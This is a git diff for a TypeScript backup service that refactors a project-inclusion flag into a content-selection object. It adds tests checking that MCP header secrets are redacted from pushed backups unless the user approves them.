@@ -1303,7 +1307,7 @@ describe("backup adapters", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     expect(preview.localOnlyFiles).toEqual(["skills/demo/NOTE.md", "skills/demo/Note.md"]);
@@ -1318,7 +1322,7 @@ describe("backup adapters", () => {
     const payload = createBackupPayloadStore({ config });
     const snapshotRoot = path.join(tempDir, "case-snapshot");
 
-    await payload.writeSafetySnapshot(snapshotRoot);
+    await payload.writeSafetySnapshot(snapshotRoot, CORE_CONTENTS);
 
     expect(await fs.readFile(path.join(snapshotRoot, "skills/demo/Foo.md"), "utf-8")).toBe(
       "upper\n"
@@ -1337,7 +1341,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await gitRepo.commitAndPush(repository, {
       message: "Back up Xum settings",
@@ -1349,7 +1353,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: next.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const changes = await gitRepo.getPushChanges(next);
@@ -1368,7 +1372,7 @@ describe("backup adapters", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
 
     const paths = (await gitRepo.getPushChanges(repository)).map((change) => change.path);
@@ -1451,7 +1455,7 @@ describe("backup adapters project bundle", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     return { gitRepo, repository, payload };
   }
@@ -1543,7 +1547,7 @@ describe("backup adapters project bundle", () => {
     const exporting = payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     await new Promise((resolve) => setTimeout(resolve, 300));
     held.resolve();
@@ -1584,7 +1588,7 @@ describe("backup adapters project bundle", () => {
     const exported = await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
 
     expect(exported.secretFiles).toEqual(["project-bundle/manifest.json"]);
@@ -1616,7 +1620,7 @@ describe("backup adapters project bundle", () => {
       payload.exportTo({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
     );
     expect((error as Error).message).toContain(`${MAX_BACKUP_FILE_COUNT}`);
@@ -1645,7 +1649,7 @@ describe("backup adapters project bundle", () => {
     await payload.exportTo({
       repositoryRoot: second.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(
       await fs.stat(path.join(second.rootDir, settings.path, "project-bundle")).then(
@@ -1670,7 +1674,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(preview.projectImports).toEqual([]);
     expect(preview.projectBundleSkipped).toBe(false);
@@ -1679,7 +1683,7 @@ describe("backup adapters project bundle", () => {
     const validated = await payload.validateRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(validated.matchedProjects).toEqual([matchedAt(project)]);
 
@@ -1687,7 +1691,7 @@ describe("backup adapters project bundle", () => {
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath,
       matchedProjects: validated.matchedProjects,
     });
@@ -1725,7 +1729,7 @@ describe("backup adapters project bundle", () => {
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath,
       matchedProjects: [matchedAt(project)],
     });
@@ -1763,7 +1767,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(preview.changes).toContainEqual({
       status: "M",
@@ -1783,7 +1787,7 @@ describe("backup adapters project bundle", () => {
     const validated = await payload.validateRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     // Between the preflight and the restore, an in-app memory write turns the incoming
     // destination into a directory. The restore must fail before the core files change.
@@ -1794,7 +1798,7 @@ describe("backup adapters project bundle", () => {
       payload.restore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
         snapshotPath: path.join(tempDir, "restore-snapshot"),
         matchedProjects: validated.matchedProjects,
       })
@@ -1825,7 +1829,7 @@ describe("backup adapters project bundle", () => {
       payload.validateRestore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
     );
     expect((error as Error).message).toContain("notes.md");
@@ -1858,7 +1862,7 @@ describe("backup adapters project bundle", () => {
       payload.validateRestore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
     );
     expect((error as Error).message).toContain("memory file limit");
@@ -1886,7 +1890,7 @@ describe("backup adapters project bundle", () => {
       payload.restore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
         snapshotPath: path.join(tempDir, "restore-snapshot"),
         matchedProjects: [matchedAt(project)],
       })
@@ -1927,7 +1931,7 @@ describe("backup adapters project bundle", () => {
         payload.restore({
           repositoryRoot: repository.rootDir,
           managedPath: settings.path,
-          includeProjects: true,
+          contents: PROJECT_CONTENTS,
           snapshotPath: path.join(tempDir, "restore-snapshot"),
           matchedProjects: [matchedAt(first), matchedAt(second)],
         })
@@ -1959,7 +1963,7 @@ describe("backup adapters project bundle", () => {
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -1990,7 +1994,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(preview.projectImports).toHaveLength(1);
     expect(preview.projectImports[0]).toMatchObject({
@@ -2002,7 +2006,7 @@ describe("backup adapters project bundle", () => {
     const validated = await payload.validateRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(validated.hasProjectBundle).toBe(true);
     expect(validated.projectImports[0]?.token).toBe(preview.projectImports[0].token);
@@ -2010,7 +2014,7 @@ describe("backup adapters project bundle", () => {
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -2036,7 +2040,7 @@ describe("backup adapters project bundle", () => {
       payload.exportTo({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
     );
     expect((error as Error).message).toContain(`${MAX_BACKUP_PROJECT_ENTRIES}`);
@@ -2095,7 +2099,7 @@ describe("backup adapters project bundle", () => {
       .exportTo({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
       .then(() => {
         progress.exported = true;
@@ -2133,7 +2137,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(preview.projectImports).toHaveLength(1);
     expect(preview.projectImports[0]?.gitRemote).toBeUndefined();
@@ -2156,7 +2160,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     const token = preview.projectImports[0].token;
 
@@ -2194,7 +2198,7 @@ describe("backup adapters project bundle", () => {
     const again = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(again.projectImports.map((item) => item.sourcePath)).toEqual([project]);
     expect(again.changes.map((change) => change.path)).not.toContain(
@@ -2216,7 +2220,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     const targetPath = path.join(tempDir, "projects", "alpha-moved");
     const targetDir = projectMemoryDirName(targetPath);
@@ -2259,7 +2263,7 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: checkout.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     const importer = await payload.prepareProjectImports({
       repositoryRoot: checkout.rootDir,
@@ -2287,7 +2291,7 @@ describe("backup adapters project bundle", () => {
     const second = await payload.previewRestore({
       repositoryRoot: checkout.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(second.projectImports).toEqual([]);
     expect(second.changes).toContainEqual({ status: "M", path: localPath });
@@ -2295,7 +2299,7 @@ describe("backup adapters project bundle", () => {
     const validated = await payload.validateRestore({
       repositoryRoot: checkout.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     // Matched through the origin: recorded source, local destination.
     expect(validated.matchedProjects).toEqual([
@@ -2304,7 +2308,7 @@ describe("backup adapters project bundle", () => {
     const restored = await payload.restore({
       repositoryRoot: checkout.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: validated.matchedProjects,
     });
@@ -2340,7 +2344,7 @@ describe("backup adapters project bundle", () => {
       .restore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
         snapshotPath: path.join(tempDir, "restore-snapshot"),
         matchedProjects: [matchedAt(project)],
       })
@@ -2383,7 +2387,7 @@ describe("backup adapters project bundle", () => {
     const validated = await payload.validateRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
     });
     expect(validated.matchedProjects).toEqual([
       { sourcePath: project, projectPath: targetPath, localMemoryDir: targetDir },
@@ -2407,7 +2411,7 @@ describe("backup adapters project bundle", () => {
       payload.restore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
         snapshotPath: path.join(tempDir, "restore-snapshot"),
         matchedProjects: validated.matchedProjects,
       })
@@ -2441,7 +2445,7 @@ describe("backup adapters project bundle", () => {
     await payload.exportTo({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     await writeFixtureFile(
       path.join(repository.rootDir, settings.path),
@@ -2452,14 +2456,14 @@ describe("backup adapters project bundle", () => {
     const preview = await payload.previewRestore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
     });
     expect(preview.projectBundleSkipped).toBe(true);
 
     const restored = await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: false,
+      contents: CORE_CONTENTS,
       snapshotPath: path.join(tempDir, "restore-snapshot"),
       matchedProjects: [],
     });
@@ -2469,7 +2473,7 @@ describe("backup adapters project bundle", () => {
       payload.previewRestore({
         repositoryRoot: repository.rootDir,
         managedPath: settings.path,
-        includeProjects: true,
+        contents: PROJECT_CONTENTS,
       })
     );
     expect((error as { code?: string }).code).toBe("INVALID_BACKUP");
@@ -2490,7 +2494,7 @@ describe("backup adapters project bundle", () => {
     await seedProjectMemory(matchedProject, "notes.md", "local edit\n");
 
     const snapshotPath = path.join(tempDir, "restore-snapshot");
-    await payload.writeSafetySnapshot(snapshotPath);
+    await payload.writeSafetySnapshot(snapshotPath, CORE_CONTENTS);
     expect(
       await fs.stat(path.join(snapshotPath, "project-bundle")).then(
         () => true,
@@ -2501,7 +2505,7 @@ describe("backup adapters project bundle", () => {
     await payload.restore({
       repositoryRoot: repository.rootDir,
       managedPath: settings.path,
-      includeProjects: true,
+      contents: PROJECT_CONTENTS,
       snapshotPath,
       matchedProjects: [matchedAt(matchedProject)],
     });
diff --git a/src/node/services/backup/adapters.ts b/src/node/services/backup/adapters.ts
index 94d8e9f1c6..6ed91dca4c 100644
--- a/src/node/services/backup/adapters.ts
+++ b/src/node/services/backup/adapters.ts
@@ -8,6 +8,7 @@ import {
   MAX_BACKUP_PROJECT_ENTRIES,
   MAX_BACKUP_PROJECT_PATH_CHARS,
   sanitizeBackupGitRemote,
+  type BackupContents,
   type BackupProjectBundleEntry,
 } from "@/common/config/schemas/settingsBackup";
 import { log } from "@/node/services/log";
@@ -67,6 +68,7 @@ import {
   planRestoreWrites,
   readBackupPayload,
   restoreBackupPayload,
+  selectBackupContents,
   backupSecretApprovalDigest,
   scanBackupFilesForSecrets,
   serializeBackupPreferences,
@@ -250,13 +252,16 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
     return projectBackupPreferences(localPreferences() ?? {});
   }
 
-  async function localFilesByPath(): Promise<Map<string, BackupFile>> {
-    return new Map((await collectAllowlistedFiles(muxRoot)).map((file) => [file.path, file]));
+  async function localFilesByPath(contents: BackupContents): Promise<Map<string, BackupFile>> {
+    return new Map(
+      (await collectAllowlistedFiles(muxRoot, contents)).map((file) => [file.path, file])
+    );
   }
 
-  async function buildPayload(overrides?: { keepLocalSecrets: true }) {
+  async function buildPayload(contents: BackupContents, overrides?: { keepLocalSecrets: true }) {
     return await createBackupPayload({
       muxRoot,
+      contents,
       preferences: exportablePreferences(),
       muxVersion: resolveMuxVersion(),
       sourceLabel: path.basename(muxRoot),
@@ -467,7 +472,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
 
   return {
     async exportTo(exportOptions) {
-      const payload = await buildPayload();
+      const payload = await buildPayload(exportOptions.contents);
       const destination = await managedDir(exportOptions.repositoryRoot, exportOptions.managedPath);
       // Owner-only like the safety snapshot: the export copies allowlisted sources that may
       // themselves be owner-only, and it lands here before the secret scan has said anything
@@ -477,7 +482,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
       // pushed bundle disappears from the next tree, and with it on the sidecar is written
       // fresh after the core payload.
       let scanFiles = payload.files;
-      if (exportOptions.includeProjects) {
+      if (exportOptions.contents.includeProjects) {
         const discovered = await discoverProjectRemotes();
         // The project list is read, the memory collected, and the bundle written under the
         // registration lock (taken before the memory lock, the fixed order), so a project
@@ -520,7 +525,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
           },
         ];
       }
-      const secretFiles = scanBackupFilesForSecrets(scanFiles);
+      const secretFiles = scanBackupFilesForSecrets(scanFiles, exportOptions.contents);
       return {
         redactions: payload.redactions,
         secretFiles,
@@ -530,7 +535,8 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
 
     async previewRestore(previewOptions) {
       const sourceDir = await managedDir(previewOptions.repositoryRoot, previewOptions.managedPath);
-      const local = await localFilesByPath();
+      const contents = previewOptions.contents;
+      const local = await localFilesByPath(contents);
       // A repository with no backup yet is a normal first-run state, not an error:
       // nothing would be restored, and every local file is local-only.
       if (!(await backupPayloadExists(sourceDir))) {
@@ -543,7 +549,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
         };
       }
 
-      const payload = await readBackupPayload(sourceDir);
+      const payload = selectBackupContents(await readBackupPayload(sourceDir), contents);
       // The preflight restore itself runs, so a destination this payload cannot be written to
       // fails here instead of after the user accepts a plan that cannot execute. Recomputed
       // rather than carried over to the restore, for the same reason the approvals are.
@@ -591,7 +597,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
 
       let projectImports: BackupProjectImport[] = [];
       let projectBundleSkipped = false;
-      if (!previewOptions.includeProjects) {
+      if (!contents.includeProjects) {
         // Existence-only: with the toggle off the sidecar is never parsed, so a malformed
         // bundle cannot block a core-only preview.
         projectBundleSkipped = await projectBundleExists(sourceDir);
@@ -626,7 +632,10 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
           describeMissingBackup(validateOptions.managedPath)
         );
       }
-      const payload = await readBackupPayload(sourceDir);
+      const payload = selectBackupContents(
+        await readBackupPayload(sourceDir),
+        validateOptions.contents
+      );
       assertBackupCommandsApproved(
         await collectMcpCommandApprovals(muxRoot, payload.files, payload.manifest.mcpRedactions),
         validateOptions.approvedCommandTokens
@@ -634,7 +643,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
       // The same preflight the restore runs, so a payload it would refuse is refused here,
       // before the caller takes a safety snapshot it would have no use for.
       await planRestoreWrites(muxRoot, payload);
-      if (!validateOptions.includeProjects) {
+      if (!validateOptions.contents.includeProjects) {
         return { hasProjectBundle: false, projectImports: [], matchedProjects: [] };
       }
       // A bundle the restore would refuse is refused here too, for the same reason.
@@ -673,28 +682,33 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
       };
     },
 
-    async writeSafetySnapshot(snapshotRoot) {
+    async writeSafetySnapshot(snapshotRoot, contents) {
       // Unredacted: this copy never leaves the machine, and a redacted snapshot could
-      // not restore a credential whose MCP server the restore removed.
+      // not restore a credential whose MCP server the restore removed. The selection is
+      // honoured because the restore writes nothing outside it, and a category the user left
+      // out (say, an oversized skills directory) must not be what fails the snapshot.
       // Project memory is intentionally absent here: restore snapshots exactly the
       // matched entries it will overwrite, inside the same memory-lock window as the
       // write, so nothing can edit a file between its snapshot bytes and its overwrite.
-      await writeBackupPayload(snapshotRoot, await buildPayload({ keepLocalSecrets: true }), {
-        portable: false,
-        ownerOnly: true,
-      });
+      await writeBackupPayload(
+        snapshotRoot,
+        await buildPayload(contents, { keepLocalSecrets: true }),
+        { portable: false, ownerOnly: true }
+      );
     },
 
     async restore(restoreOptions) {
       const sourceDir = await managedDir(restoreOptions.repositoryRoot, restoreOptions.managedPath);
-      const payload = await readBackupPayload(sourceDir);
-      const before = await localFilesByPath();
+      const contents = restoreOptions.contents;
+      const payload = selectBackupContents(await readBackupPayload(sourceDir), contents);
+      const before = await localFilesByPath(contents);
 
       const restoreCore = async (
         registration: ProjectRegistrationLockHandle | null
       ): Promise<{ localOnlyFiles: string[] }> => {
         const result = await restoreBackupPayload({
           muxRoot,
+          contents,
           payload,
           approvedCommandTokens: restoreOptions.approvedCommandTokens,
         });
@@ -738,12 +752,11 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
       let core: { localOnlyFiles: string[] };
       // The bundle itself is read here — the repo lock holds the checkout stable — but its
       // plan is computed inside the memory lock below, where the inputs it depends on are.
-      const bundle = restoreOptions.includeProjects ? await readProjectBundle(sourceDir) : null;
+      const bundle = contents.includeProjects ? await readProjectBundle(sourceDir) : null;
       if (bundle === null) {
         // Existence-only, like the preview: a malformed sidecar must never block a
         // core-only restore, but its presence is reported so the skip is visible.
-        projectBundleSkipped =
-          !restoreOptions.includeProjects && (await projectBundleExists(sourceDir));
+        projectBundleSkipped = !contents.includeProjects && (await projectBundleExists(sourceDir));
         core = await restoreCore(null);
       } else {
         // Only entries the caller validated as matched, to the very same destination. A
@@ -854,7 +867,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
         );
       }
 
-      const after = await localFilesByPath();
+      const after = await localFilesByPath(contents);
       const changedFiles = [...after.entries()]
         .filter(([file, current]) => {
           const previous = before.get(file);
diff --git a/src/node/services/backup/backupService.integration.test.ts b/src/node/services/backup/backupService.integration.test.ts
index 667e06d3a3..98de240210 100644
--- a/src/node/services/backup/backupService.integration.test.ts
+++ b/src/node/services/backup/backupService.integration.test.ts
@@ -2,6 +2,7 @@ import { afterEach, beforeEach, describe, expect, it } from "bun:test";
 import * as fs from "node:fs/promises";
 import * as os from "node:os";
 import * as path from "node:path";
+import * as jsonc from "jsonc-parser";
 import { Config } from "@/node/config";
 import type { SettingsBackupInput } from "@/common/orpc/schemas/backup";
 import { createBackupGitRepo, createBackupPayloadStore } from "./adapters";
@@ -67,7 +68,10 @@ describe("BackupService against a real repository", () => {
     originPath = path.join(tempDir, "origin.git");
     await fs.mkdir(muxRoot, { recursive: true });
     await runGit(["init", "--bare", "--initial-branch=main", originPath]);
-    settings = { repoUrl: originPath, branch: "main", path: "mux" };
+    // Header values stay local: a repository other people may read is the usual reason to
+    // back up at all, and it lets the fixture below carry a literal token without every push
+    // stopping for approval.
+    settings = { repoUrl: originPath, branch: "main", path: "mux", includeMcpHeaders: false };
     config = new Config(muxRoot);
     service = createService();
 
@@ -127,20 +131,61 @@ describe("BackupService against a real repository", () => {
     }
   });
 
-  it("keeps MCP URLs while redacting a literal header value", async () => {
+  it("keeps MCP URLs while leaving header values out of the backup", async () => {
     const pushed = await pushOrThrow();
-    expect(pushed.data.redactions.length).toBeGreaterThan(0);
+    expect(pushed.data.redactions).toEqual([
+      "servers.literal.headers",
+      "servers.referenced.headers",
+    ]);
 
     const clone = await cloneOrigin("verify");
     const mcp = await fs.readFile(path.join(clone, "mux/mcp.jsonc"), "utf-8");
     expect(mcp).not.toContain("Bearer abc123");
+    expect(mcp).not.toContain("MCP_TOKEN");
     expect(mcp).toContain(REDACTED_BACKUP_VALUE);
     expect(mcp).toContain('"url": "https://example.com/mcp"');
-    expect(mcp).toContain('"secret": "MCP_TOKEN"');
     // A comment is prose no projection can inspect, so it is not published at all.
     expect(mcp).not.toContain("comment-secret-abc123");
   });
 
+  it("publishes header values once selected and approved, and restores them elsewhere", async () => {
+    const withHeaders = { ...settings, includeMcpHeaders: true };
+    const blocked = await service.push(withHeaders);
+    expect(blocked.success).toBe(false);
+    if (blocked.success) throw new Error("Expected the literal header to need approval");
+    expect(blocked.error.code).toBe("SECRET_DETECTED");
+    expect(blocked.error.files).toEqual(["mcp.jsonc"]);
+
+    const pushed = await service.push(withHeaders, {
+      approvedSecretDigest: blocked.error.secretApproval ?? undefined,
+    });
+    expect(pushed.success).toBe(true);
+    if (!pushed.success) throw new Error(pushed.error.message);
+    expect(pushed.data.redactions).toEqual([]);
+    const clone = await cloneOrigin("verify");
+    const mcp = await fs.readFile(path.join(clone, "mux/mcp.jsonc"), "utf-8");
+    expect(mcp).toContain("Bearer abc123");
+    expect(mcp).toContain('"secret": "MCP_TOKEN"');
+
+    // A fresh install gets the literal value; the reference names a secret it does not hold.
+    const freshRoot = path.join(tempDir, "fresh-root");
+    await fs.mkdir(freshRoot, { recursive: true });
+    const freshConfig = new Config(freshRoot);
+    const freshService = new BackupService(freshConfig, {
+      gitRepo: createBackupGitRepo({ cacheRoot: path.join(freshRoot, "backup-cache") }),
+      payload: createBackupPayloadStore({ config: freshConfig }),
+    });
+    const restored = await freshService.restore(withHeaders);
+    expect(restored.success).toBe(true);
+    const restoredMcp = jsonc.parse(
+      await fs.readFile(path.join(freshRoot, "mcp.jsonc"), "utf-8")
+    ) as {
+      servers: Record<string, { headers?: unknown }>;
+    };
+    expect(restoredMcp.servers.literal.headers).toEqual({ Authorization: "Bearer abc123" });
+    expect(restoredMcp.servers.referenced.headers).toBeUndefined();
+  });
+
   it("does not create a second commit when nothing changed", async () => {
     await pushOrThrow();
     const commitsAfterFirst = await runGit([
diff --git a/src/node/services/backup/backupService.test.ts b/src/node/services/backup/backupService.test.ts
index c1dd128df6..18b4b11cef 100644
--- a/src/node/services/backup/backupService.test.ts
+++ b/src/node/services/backup/backupService.test.ts
@@ -1110,7 +1110,7 @@ describe("BackupService project imports", () => {
       config,
       payload: createPayload({
         exportTo: (options) => {
-          seen.push(options.includeProjects);
+          seen.push(options.contents.includeProjects);
           return Promise.resolve({ redactions: [], secretFiles: [], secretApproval: "" });
         },
       }),
diff --git a/src/node/services/backup/backupService.ts b/src/node/services/backup/backupService.ts
index 4029fe0351..6055f5836d 100644
--- a/src/node/services/backup/backupService.ts
+++ b/src/node/services/backup/backupService.ts
@@ -7,7 +7,12 @@ import { MutexMap } from "@/node/utils/concurrency/mutexMap";
 import { AsyncSemaphore } from "@/node/utils/concurrency/asyncSemaphore";
 import { getProjectDisplayName } from "@/common/utils/subProjects";
 import { isSystemProjectEntry } from "@/common/utils/systemProjects";
-import { MAX_BACKUP_PROJECT_PATH_CHARS } from "@/common/config/schemas/settingsBackup";
+import {
+  BACKUP_CONTENT_FLAGS,
+  MAX_BACKUP_PROJECT_PATH_CHARS,
+  resolveBackupContents,
+  type BackupContents,
+} from "@/common/config/schemas/settingsBackup";
 import {
   BackupOperationErrorSchema,
   type BackupCommandApproval,
@@ -72,12 +77,12 @@ export interface BackupPayloadStore {
   exportTo(options: {
     repositoryRoot: string;
     managedPath: string;
-    includeProjects: boolean;
+    contents: BackupContents;
   }): Promise<{ redactions: string[]; secretFiles: string[]; secretApproval: string }>;
   previewRestore(options: {
     repositoryRoot: string;
     managedPath: string;
-    includeProjects: boolean;
+    contents: BackupContents;
   }): Promise<{
     changes: BackupFileChange[];
     localOnlyFiles: string[];
@@ -89,7 +94,7 @@ export interface BackupPayloadStore {
     repositoryRoot: string;
     managedPath: string;
     approvedCommandTokens?: readonly string[];
-    includeProjects: boolean;
+    contents: BackupContents;
   }): Promise<{
     hasProjectBundle: boolean;
     projectImports: BackupProjectImport[];
@@ -100,12 +105,12 @@ export interface BackupPayloadStore {
     matchedProjects: BackupMatchedProject[];
   }>;
   /** Core settings only; matched project memory is snapshotted by `restore` under its lock. */
-  writeSafetySnapshot(snapshotRoot: string): Promise<void>;
+  writeSafetySnapshot(snapshotRoot: string, contents: BackupContents): Promise<void>;
   restore(options: {
     repositoryRoot: string;
     managedPath: string;
     approvedCommandTokens?: readonly string[];
-    includeProjects: boolean;
+    contents: BackupContents;
     /** Receives the matched project memory snapshot, taken in the write's lock window. */
     snapshotPath: string;
     matchedProjects: readonly BackupMatchedProject[];
@@ -555,7 +560,7 @@ export class BackupService {
     >
   > {
     return this.withRepoLock(settings, async (normalized) => {
-      const includeProjects = normalized.includeProjects === true;
+      const contents = resolveBackupContents(normalized);
       const repository = await this.prepareRepository(normalized);
       // One critical section: the reported restore plan and the exported payload must describe
       // the same local state, or the two halves of the preview disagree.
@@ -563,7 +568,7 @@ export class BackupService {
         const restorePreview = await this.dependencies.payload.previewRestore({
           repositoryRoot: repository.rootDir,
           managedPath: repository.managedPath,
-          includeProjects,
+          contents,
         });
         // The push half fails on local state alone (an over-limit project list, an
         // unexportable path); that must not hide the restore half, which is the only
@@ -573,7 +578,7 @@ export class BackupService {
           exported = await this.dependencies.payload.exportTo({
             repositoryRoot: repository.rootDir,
             managedPath: repository.managedPath,
-            includeProjects,
+            contents,
           });
         } catch (error) {
           exported = { pushError: toOperationError(error).message };
@@ -634,7 +639,7 @@ export class BackupService {
         this.dependencies.payload.exportTo({
           repositoryRoot: repository.rootDir,
           managedPath: repository.managedPath,
-          includeProjects: normalized.includeProjects === true,
+          contents: resolveBackupContents(normalized),
         })
       );
       // Approval is bound to the exact flagged bytes, so an override the user granted for
@@ -691,7 +696,7 @@ export class BackupService {
       options.approvedCommandTokens == null ? undefined : [...options.approvedCommandTokens];
     const requestedImports = options.projectImports == null ? [] : [...options.projectImports];
     return this.withRepoLock(settings, async (normalized) => {
-      const includeProjects = normalized.includeProjects === true;
+      const contents = resolveBackupContents(normalized);
       const repository = await this.prepareRepository(normalized);
       const remoteCommit = repository.remoteCommit;
       if (remoteCommit == null) {
@@ -708,7 +713,7 @@ export class BackupService {
           repositoryRoot: repository.rootDir,
           managedPath: repository.managedPath,
           approvedCommandTokens,
-          includeProjects,
+          contents,
         });
         // Import approvals are also checked before the snapshot and before any mutation: a
         // stale token or an unusable target directory refuses the whole restore while
@@ -717,7 +722,7 @@ export class BackupService {
           requestedImports,
           validated.projectImports,
           validated.matchedProjects,
-          includeProjects
+          contents.includeProjects
         );
         // The plan holds a handle per approved target from here until the imports are done
         // (see PlannedProjectImport.target), released however this ends.
@@ -746,7 +751,7 @@ export class BackupService {
           );
           const snapshotPath = await this.createSnapshotPath();
           try {
-            await this.dependencies.payload.writeSafetySnapshot(snapshotPath);
+            await this.dependencies.payload.writeSafetySnapshot(snapshotPath, contents);
           } catch (error) {
             // Nothing has been restored yet, so a snapshot that did not finish is an empty or
             // partial unredacted copy that no recovery can use, and every retry would add one.
@@ -758,7 +763,7 @@ export class BackupService {
               repositoryRoot: repository.rootDir,
               managedPath: repository.managedPath,
               approvedCommandTokens,
-              includeProjects,
+              contents,
               snapshotPath,
               matchedProjects: validated.matchedProjects,
             });
@@ -1387,7 +1392,7 @@ export class BackupService {
       saved = {
         // Recording a commit re-applies on top of the settings currently saved, not the
         // ones the operation started with: same repository, but another window may have
-        // toggled includeProjects meanwhile, and that save must survive.
+        // toggled a content flag meanwhile, and that save must survive.
         ...(sameRepository && isCommitUpdate ? previous : settings),
         ...(sameRepository
           ? {
@@ -1403,25 +1408,26 @@ export class BackupService {
     if (saved == null) {
